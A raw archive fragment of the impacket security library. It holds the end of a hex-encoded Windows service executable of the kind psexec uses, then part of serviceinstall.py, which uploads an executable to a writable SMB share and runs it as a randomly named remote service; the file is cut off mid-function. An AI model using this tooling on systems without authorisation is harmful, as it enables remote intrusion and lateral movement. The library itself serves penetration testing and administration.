'9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0' \
'c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3' \
'e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff00010203040506' \
'0708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20212223242526272829' \
'2a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c' \
'4d4e4f505152535455565758595a5b5c5d5e5f604142434445464748494a4b4c4d4e4f' \
'505152535455565758595a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192' \
'939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5' \
'b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8' \
'd9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafb' \
'fcfdfeff48483a6d6d3a737300000000646464642c204d4d4d4d2064642c2079797979' \
'004d4d2f64642f797900000000504d0000414d0000446563656d626572000000004e6f' \
'76656d626572000000004f63746f6265720053657074656d6265720000004175677573' \
'7400004a756c79000000004a756e6500000000417072696c0000004d61726368000000' \
'4665627275617279000000004a616e7561727900446563004e6f76004f637400536570' \
'00417567004a756c004a756e004d617900417072004d617200466562004a616e005361' \
'7475726461790000000046726964617900005468757273646179000000005765646e65' \
'7364617900000054756573646179004d6f6e646179000053756e646179000053617400' \
'467269005468750057656400547565004d6f6e0053756e000000000053756e4d6f6e54' \
'75655765645468754672695361740000004a616e4665624d61724170724d61794a756e' \
'4a756c4175675365704f63744e6f7644656300000000434f4e4f555424004800000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'000000000000000000000000000000000000000000e04000d0c4400003000000000000' \
'0000000000502b0000585d0000808f0000000000000000000000000000000000000000' \
'0000feffffff00000000d4ffffff00000000feffffffe3184000f718400000000000fe' \
'ffffff00000000d4ffffff00000000feffffff00000000cf1a400000000000feffffff' \
'00000000ccffffff00000000feffffff681d40007c1d400000000000feffffff000000' \
'00d4ffffff00000000feffffff0000000029214000feffffff0000000038214000feff' \
'ffff00000000d8ffffff00000000feffffff00000000eb224000feffffff00000000f7' \
'224000feffffff00000000d8ffffff00000000feffffff1b2640002f26400000000000' \
'feffffff00000000c8ffffff00000000feffffff00000000d528400000000000feffff' \
'ff00000000d4ffffff00000000feffffff00000000bd2d400000000000feffffff0000' \
'0000d4ffffff00000000feffffffe2414000fe41400000000000feffffff000000008c' \
'ffffff00000000feffffff5f4b4000634b400000000000feffffff00000000d4ffffff' \
'00000000feffffff00000000034e400000000000feffffff00000000d4ffffff000000' \
'00feffffff000000005851400000000000feffffff00000000d4ffffff00000000feff' \
'ffff000000002254400000000000feffffff00000000ccffffff00000000feffffff00' \
'000000f057400000000000feffffff00000000d4ffffff00000000feffffff00000000' \
'6859400000000000feffffff00000000d8ffffff00000000feffffffc6594000ca5940' \
'0000000000feffffff00000000c0ffffff00000000feffffff00000000c05b40000000' \
'0000feffffff00000000d0ffffff00000000feffffff505c4000675c400000000000fe' \
'ffffff00000000d4ffffff00000000feffffff000000002569400000000000feffffff' \
'00000000d4ffffff00000000feffffff00000000ef6a400000000000feffffff000000' \
'00d0ffffff00000000feffffff00000000546c400000000000feffffff00000000d0ff' \
'ffff00000000feffffff00000000c76d400000000000feffffff00000000ccffffff00' \
'000000feffffff00000000516f400000000000000000001d6f4000feffffff00000000' \
'ccffffff00000000feffffff000000008974400000000000feffffff00000000d0ffff' \
'ff00000000feffffff00000000987c400000000000feffffff00000000d0ffffff0000' \
'0000feffffff000000002c8e400000000000feffffff00000000d4ffffff00000000fe' \
'ffffff00000000ed94400000000000feffffff00000000d0ffffff00000000feffffff' \
'00000000cf95400000000000feffffff00000000d4ffffff00000000feffffff000000' \
'00c299400000000000feffffff00000000d0ffffff00000000feffffff00000000b6a1' \
'40003cc900000000000000000000c4cb00003cb0000000c90000000000000000000002' \
'cd000000b000000000000000000000000000000000000000000000c6cc0000a8cc0000' \
'8acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc0000f6cb00' \
'00e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066cb000054cb' \
'00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000beca0000b2' \
'ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00003ecd0000' \
'50cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd0000facd00' \
'0006ce000014ce00001ece00002ece000044ce00004cce00005ace000066ce00007ece' \
'000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf000038cf00004a' \
'cf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf0000e2cf0000' \
'eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0000076d000' \
'0084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004d1000014d1' \
'000024d1000030d1000044d1000054d1000064d100007ad100008ad1000000000000e6' \
'014765744c6173744572726f720000d3035365744576656e7400004300436c6f736548' \
'616e646c6500fd024c6f63616c4672656500f9024c6f63616c416c6c6f63000033034f' \
'70656e50726f6365737300aa0147657443757272656e7450726f636573734964007200' \
'4372656174654576656e744100005600436f6e6e6563744e616d65645069706500008f' \
'004372656174654e616d656450697065410000c50147657445786974436f646550726f' \
'636573730000640457616974466f7253696e676c654f626a6563740094004372656174' \
'6550726f63657373410000bc02496e7465726c6f636b656444656372656d656e740000' \
'cd00446973636f6e6e6563744e616d656450697065008d04577269746546696c650068' \
'035265616446696c650000c002496e7465726c6f636b6564496e6372656d656e740000' \
'4b45524e454c33322e646c6c0000ba02536574536572766963655374617475730000d6' \
'0044656c65746553657276696365005300436c6f73655365727669636548616e646c65' \
'0000f4014f70656e53657276696365410000f2014f70656e53434d616e616765724100' \
'001a0146726565536964000201457175616c53696400001f00416c6c6f63617465416e' \
'64496e697469616c697a6553696400005401476574546f6b656e496e666f726d617469' \
'6f6e00f1014f70656e50726f63657373546f6b656e00007f0252656769737465725365' \
'72766963654374726c48616e646c65724100c102537461727453657276696365437472' \
'6c446973706174636865724100b002536574536563757269747944657363726970746f' \
'724461636c007101496e697469616c697a65536563757269747944657363726970746f' \
'72000041445641504933322e646c6c000005014578697454687265616400008d035265' \
'73756d655468726561640000a30043726561746554687265616400006f01476574436f' \
'6d6d616e644c696e6541002d045465726d696e61746550726f636573730000a9014765' \
'7443757272656e7450726f63657373003e04556e68616e646c6564457863657074696f' \
'6e46696c74657200001504536574556e68616e646c6564457863657074696f6e46696c' \
'74657200d1024973446562756767657250726573656e7400f9014765744d6f64756c65' \
'48616e646c65570000200247657450726f634164647265737300003404546c73476574' \
'56616c7565003204546c73416c6c6f6300003504546c7353657456616c756500330454' \
'6c734672656500ec035365744c6173744572726f720000ad0147657443757272656e74' \
'546872656164496400002104536c6565700004014578697450726f6365737300a10248' \
'656170467265650000d900456e746572437269746963616c53656374696f6e0000ef02' \
'4c65617665437269746963616c53656374696f6e00003b0247657453746448616e646c' \
'650000f4014765744d6f64756c6546696c654e616d654100004a0146726565456e7669' \
'726f6e6d656e74537472696e67734100bf01476574456e7669726f6e6d656e74537472' \
'696e6773004b0146726565456e7669726f6e6d656e74537472696e677357007a045769' \
'646543686172546f4d756c74694279746500c101476574456e7669726f6e6d656e7453' \
'7472696e6773570000e80353657448616e646c65436f756e740000d70147657446696c' \
'655479706500390247657453746172747570496e666f4100be0044656c657465437269' \
'746963616c53656374696f6e009f024865617043726561746500005704566972747561' \
'6c467265650054035175657279506572666f726d616e6365436f756e74657200660247' \
'65745469636b436f756e7400004f0247657453797374656d54696d65417346696c6554' \
'696d65005b014765744350496e666f005201476574414350000013024765744f454d43' \
'500000db02497356616c6964436f64655061676500f1024c6f61644c69627261727941' \
'0000b502496e697469616c697a65437269746963616c53656374696f6e416e64537069' \
'6e436f756e7400920352746c556e77696e64009d0248656170416c6c6f630054045669' \
'727475616c416c6c6f630000a402486561705265416c6c6f6300df0353657446696c65' \
'506f696e74657200008301476574436f6e736f6c65435000009501476574436f6e736f' \
'6c654d6f64650000e8014765744c6f63616c65496e666f4100003d0247657453747269' \
'6e67547970654100001a034d756c746942797465546f57696465436861720040024765' \
'74537472696e6754797065570000e1024c434d6170537472696e67410000e3024c434d' \
'6170537472696e67570000a6024865617053697a6500004101466c75736846696c6542' \
'7566666572730000fc0353657453746448616e646c65000082045772697465436f6e73' \
'6f6c6541009901476574436f6e736f6c654f7574707574435000008c04577269746543' \
'6f6e736f6c655700780043726561746546696c65410000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000004ee640bbb119bf44000000000000' \
'000001000000ffffffffffffffff032940000300000007000000780000000a00000001' \
'0000001600000002000000020000000300000002000000040000001800000005000000' \
'0d0000000600000009000000070000000c000000080000000c000000090000000c0000' \
'000a000000070000000b000000080000000c000000160000000d000000160000000f00' \
'000002000000100000000d00000011000000120000001200000002000000210000000d' \
'0000003500000002000000410000000d00000043000000020000005000000011000000' \
'520000000d000000530000000d0000005700000016000000590000000b0000006c0000' \
'000d0000006d00000020000000700000001c0000007200000009000000060000001600' \
'0000800000000a000000810000000a0000008200000009000000830000001600000084' \
'0000000d00000091000000290000009e0000000d000000a100000002000000a4000000' \
'0b000000a70000000d000000b700000011000000ce00000002000000d70000000b0000' \
'00180700000c0000000c0000000800000000fe40000000000000fe4000010100000000' \
'0000000000000010000000000000000000000000000000000000020000000100000000' \
'0000000000000000000000000000000000000000000000020000000200000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'00000000000000000000000000000000000000000000000000000088b3400078b34000' \
'0200000018b9400008000000ecb8400009000000c0b840000a00000028b84000100000' \
'00fcb7400011000000ccb7400012000000a8b74000130000007cb740001800000044b7' \
'4000190000001cb740001a000000e4b640001b000000acb640001c00000084b640001e' \
'00000064b640001f00000000b6400020000000c8b5400021000000d0b4400022000000' \
'30b440007800000020b440007900000010b440007a00000000b44000fc000000fcb340' \
'00ff000000ecb34000ffffffff800a0000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000001000000000000000000000000100000000000000010000000000000000000000' \
'0000000001000000000000000100000000000000000000000000000001000000000000' \
'0001000000000000000100000000000000000000000000000001000000000000000000' \
'0000000000000100000000000000010000000000000001000000000000000000000000' \
'0000000100000000000000010000000000000001000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000004be4000000000004300000000000000' \
'0100000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'00000000000000000000000000000000000050e6400000000000000000000000000050' \
'e6400000000000000000000000000050e6400000000000000000000000000050e64000' \
'00000000000000000000000050e6400000000000000000000000000001000000010000' \
'0000000000000000000000000058ed4000000000000000000000bc400088c0400008c2' \
'400098ec400058e640000100000058e6400040e7400000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000101010101010101010101010101010101010101010101010' \
'1010000000000000202020202020202020202020202020202020202020202020202000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'000000000000000000000000000000000000000000006162636465666768696a6b6c6d' \
'6e6f707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f50' \
'5152535455565758595a00000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000101010101010101010101010101010101010101010101010101000000000000020' \
'2020202020202020202020202020202020202020202020202000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'00000000000000000000000000000000000000006162636465666768696a6b6c6d6e6f' \
'707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f505152' \
'535455565758595a000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0040e7400001020408a4030000608279822100000000000000a6df000000000000a1a5' \
'000000000000819fe0fc00000000407e80fc00000000a8030000c1a3daa32000000000' \
'0000000000000000000000000000000000000081fe00000000000040fe000000000000' \
'b5030000c1a3daa320000000000000000000000000000000000000000000000081fe00' \
'000000000041fe000000000000b6030000cfa2e4a21a00e5a2e8a25b00000000000000' \
'0000000000000000000081fe000000000000407ea1fe000000005105000051da5eda20' \
'005fda6ada32000000000000000000000000000000000081d3d8dee0f90000317e81fe' \
'000000003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40' \
'003d8e40003d8e4000feffffff0000000000bc400002be400030c440002cc4400028c4' \
'400024c4400020c440001cc4400018c4400010c4400008c4400000c44000f4c34000e8' \
'c34000e0c34000d4c34000d0c34000ccc34000c8c34000c4c34000c0c34000bcc34000' \
'b8c34000b4c34000b0c34000acc34000a8c34000a4c340009cc3400090c3400088c340' \
'0080c34000c0c3400078c3400070c3400068c340005cc3400054c3400048c340003cc3' \
'400038c3400034c3400028c3400014c3400008c3400009040000010000000000000098' \
'ec40002e00000054ed4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000' \
'd8fb4000d8fb4000d8fb40007f7f7f7f7f7f7f7f58ed4000010000002e000000010000' \
'0000000000000000000300000020059319000000000000000000000000000000000000' \
'00000000000002000000000000008070000001000000f0f1ffff000000005053540000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000005044540000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'000000000000000000000000000000000000d8ed400018ee4000ffffffff0000000000' \
'000000ffffffff00000000000000000000000000000000fefffffffeffffffffffffff' \
'1e0000003b0000005a0000007800000097000000b5000000d4000000f3000000110100' \
'00300100004e0100006d010000ffffffff1e0000003a00000059000000770000009600' \
'0000b4000000d3000000f2000000100100002f0100004d0100006c0100000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000400000000' \
'0001001800000018000080000000000000000004000000000001000100000030000080' \
'000000000000000004000000000001000904000048000000581001005a010000e40400' \
'00000000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d' \
'6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f' \
'6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a73' \
'6368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a20202020' \
'3c73656375726974793e0d0a2020202020203c72657175657374656450726976696c65' \
'6765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c65' \
'76656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c' \
'7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a202020' \
'2020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f7365' \
'6375726974793e0d0a20203c2f7472757374496e666f3e0d0a3c2f617373656d626c79' \
'3e504150414444494e47585850414444494e4750414444494e47585850414444494e47' \
'50414444494e47585850414444494e4750414444494e47585850414444494e47504144' \
'44494e47585850414400100000a00100000d301e30253032303d30423047304e305830' \
'5e3064306a30703077309c30a130aa30b130b730be30c330c930d230d730de30e830f7' \
'300b31443154315e3171317d319131a231be31ca31ff3172328432a732c332cc321433' \
'19331f33293333333d33433349334f3355335a3363336a3374337a3380338a3398339f' \
'33a433cd33d433fc330e34403450347c3484348934ac34b134b634c834cd34d234dd34' \
'f8341235323550357735aa350736653689369136de36ec36f2361b375d3764376b3770' \
'3776377c3785378c37a937b137ef37063815381d383638413849385d3864386c387b38' \
'84389438ae38bd38c53830393739583960397039e039f039003a0b3a363ae33aee3aa0' \
'3b323c573c683c6f3c753c873c8f3c9a3ceb3cf03cfa3c343d393d403d463dbc3dc23d' \
'c83dce3dd43dda3de13de83def3df63dfd3d043e0b3e133e1b3e233e2f3e383e3d3e43' \
'3e4d3e563e613e6d3e723e823e873e8d3e933ea93eb03ebe3ec43ecf3edb3ef03ef73e' \
'0b3f123f393f3f3f4a3f563f6b3f723f863f8d3fa53fb63fbc3fc73fd13fd73fe33ff2' \
'3ff83f000000200000400100000d301e302a3038303e304a3050305d3067306e308630' \
'95309c30a930cc30e130073147314d3177317d319931b131d731513274327e32b632be' \
'320a331a3320332c333233423348335d336b3376337d3398339d33a533ab33b233b833' \
'bf33c533cd33d433d933e133ea33f633fb33003406340a34103415341b3420342f3445' \
'34503455346034653470347534823490349634a334c334c934e53498359d35af35cd35' \
'e135e7355b3664369136ac36b236bb36c236e43643374b375e3769376e377e3788378f' \
'379a37a337b937c437de37ea37f23702381738573864388e3893389e38a338c1387239' \
'7f39a1391a3a203a393a3f3ae93a063b623b3c3c443c5c3c743ccb3ce93c053d283d3b' \
'3d6a3d7c3dcb3dd13de23d0f3e183e243e5b3e643e703ea93eb23ebe3edd3eef3ec13f' \
'cb3fd83ff33ffa3f0000003000006c000000123032303830523061306e307a308a3091' \
'30a030ac30b930dd30ef30fd3012311c314231753184318d31b131e03122323432e032' \
'e832fd320833ef339134af34d534353548356335ae389e39283b573b7c3b5f3d5b3f5f' \
'3f633f673f6b3f6f3f733f773f00400000dc0000007f308630c8317d32c732cd32eb32' \
'22333a3345336933723379338233c233c733ef33143439344c34643476349a34ba34c9' \
'3401350b355b356635703581358c353f37503758375e3763376937d537db37f137fc37' \
'13381f382c3833386a38b938cc38fe381739253939395a3960399239e939f139313a3b' \
'3a633a7c3abd3aed3aff3a513b573b7a3b7f3ba03ba53bd93bde3bec3bfb3b1e3c2b3c' \
'373c3f3c473c533c773c7f3c8a3c973c9e3ca83cd23ce03ce63c093d103d293d3d3d43' \
'3d4c3d5f3d833d183e383e573e1c3f463f913fdd3f000000500000c00000002c307430' \
'da30f13002313e31c63103321a328d339e33d833e533ef33fd330634103444344f3459' \
'3472347c348f34b334ea341f353235a235bf3507367336923607371337263738375337' \
'5b3763377a379337af37b837be37c737cc37db3702382b383c3852385d38d738f03819' \
'391e3935398d39a939e039eb39f939fe39033a083a183a473a553a9c3aa13ae63aeb3a' \
'f23af73afe3a033b723b7b3b813b0b3c1a3c293c323c473c773c983ca53cdd3ce93cf5' \
'3d223e273e00600000b80000006a3078307e3098309d30ac30b530c230cd30df30f230' \
'fd30033109310e31173134313a3145314a3152315831623169317d3184318a3198319f' \
'31a431ad31ba31c031da31eb31f1310232673203360f3642366836a236e736ba38c538' \
'cd38e238f43844394a396a39a139b239fb39573a6c3ab23ab83ac43a193b4c3b843bef' \
'3bf53b463c4c3c703c933cc73ccd3cd93c203d343d553d613d883d953d9a3da83d833e' \
'a63eb13ed43e233f883fb53f00000070000064000000ac31ca31393346335f337d33bb' \
'33ea33a3340835bc35dc35cc36f5364e37dc38bc39853ab63acc3a0d3b2c3bc93bfd3b' \
'2c3ca93c013d0f3d153d253d2a3d423d483d573d5d3d6c3d723d803d893d983d9d3da7' \
'3db53df53d123e2f3e00800000cc000000003007300d30ca30ff3018311f3127312c31' \
'303134315d318331a131a831ac31b031b431b831bc31c031c4310e32143218321c3220' \
'3286329132ac32b332b832bc32c032e1320b333d33443348334c335033543358335c33' \
'6033aa33b033b433b833bc33ab35bd35cf35f13503361536273639364b365d3670377a' \
'3792379937a337ab37b837bf37ef378838fd38b939cb39d839e439ee39f639013a313a' \
'613af83aa83bcb3b493c1a3d9d3dd53d183e1e3e523e5d3e803e443f513f6c3fd13fdd' \
'3f000000900000c000000055306f307830ca30ff3018311f3127312c31303134315d31' \
'8331a131a831ac31b031b431b831bc31c031c4310e32143218321c32203286329132ac' \
'32b332b832bc32c032e1320b333d33443348334c335033543358335c336033aa33b033' \
'b433b833bc337f34fb3427354f35863590351b3822384638563871389138e738f83833' \
'394f39aa39b539e339f139003a0e3a163a233a413a4b3a543a5f3a743a7b3a813a973a' \
'b23a573bc53bab3dc83df43d2d3e3a3e193f283f00a00000240000006e30ab30b530cd' \
'30f6302a315931003206320b32113218322a32c03300b000001c000000943198319c31' \
'a031a431b031b43168326c32000000c000005c000000bc34c034043508352835443548' \
'356835743590359c35b435b835d835f8351436183634363836583678369836b836d836' \
'f436f836183734373837583778379837b837d837e43700382038403860388038a038c0' \
'3800e00000e80000001c30a031a831203424342c3434343c3444344c3454345c346434' \
'6c3474347c3484348c3494349c34a434ac34b434bc34c434cc34d434dc344836b036c0' \
'36d036e036f03614372037243728372c37303738373c37683b603c643c683c6c3c703c' \
'743c783c7c3c803c843c903c943c983c9c3ca03ca43ca83cac3cb03cb43cb83cbc3cc0' \
'3cc43cc83ccc3cd03cd43cd83cdc3ce03ce43ce83cec3cf03cf43cf83cfc3c003d043d' \
'083d0c3d103d143d183d1c3d203d243d283d2c3d303d343d383d3c3d403d503d583d5c' \
'3d603d643d683d6c3d703d743d783d7c3d883d583e5c3e000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'00000000000000000000' \
impacket-0.9.15/impacket/examples/serviceinstall.py 0000600 0000765 0000000 00000023117 12734531507 022471 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Service Install Helper library used by psexec and smbrelayx
# You provide an already established connection and an exefile
# (or class that mimics a file class) and this will install and
# execute the service, and then uninstall (install(), uninstall().
# It tries to take care as much as possible to leave everything clean.
#
# Author:
# Alberto Solino (@agsolino)
#
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
from impacket import smb,smb3, LOG
from impacket.smbconnection import SMBConnection
class ServiceInstall:
def __init__(self, SMBObject, exeFile):
self._rpctransport = 0
self.__service_name = ''.join([random.choice(string.letters) for i in range(4)])
self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe'
self.__exeFile = exeFile
# We might receive two different types of objects, always end up
# with a SMBConnection one
if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
self.connection = SMBConnection(existingConnection = SMBObject)
else:
self.connection = SMBObject
self.share = ''
def getShare(self):
return self.share
def getShares(self):
# Setup up a DCE SMBTransport with the connection already in place
LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
try:
self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection)
dce_srvs = self._rpctransport.get_dce_rpc()
dce_srvs.connect()
dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce_srvs, 1)
return resp['InfoStruct']['ShareInfo']['Level1']
except:
LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
raise
def createService(self, handle, share, path):
LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
except Exception, e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
# We're good, pass the exception
pass
else:
raise e
else:
# It exists, remove it
scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])
# Create the service
command = '%s\\%s' % (path, self.__binary_service_name)
try:
resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00')
except:
LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
raise
else:
return resp['lpServiceHandle']
def openSvcManager(self):
LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
# Setup up a DCE SMBTransport with the connection already in place
self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection)
self.rpcsvc = self._rpctransport.get_dce_rpc()
self.rpcsvc.connect()
self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
try:
resp = scmr.hROpenSCManagerW(self.rpcsvc)
except:
LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
raise Exception('Unable to open SVCManager')
else:
return resp['lpScHandle']
def copy_file(self, src, tree, dst):
LOG.info("Uploading file %s" % dst)
if isinstance(src, str):
# We have a filename
fh = open(src, 'rb')
else:
# We have a class instance, it must have a read method
fh = src
f = dst
pathname = string.replace(f,'/','\\')
try:
self.connection.putFile(tree, pathname, fh.read)
except:
LOG.critical("Error uploading file %s, aborting....." % dst)
raise
fh.close()
def findWritableShare(self, shares):
# Check we can write a file on the shares, stop in the first one
for i in shares['Buffer']:
if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
share = i['shi1_netname'][:-1]
try:
self.connection.createDirectory(share,'BETO')
except:
# Can't create, pass
LOG.critical("share '%s' is not writable." % share)
pass
else:
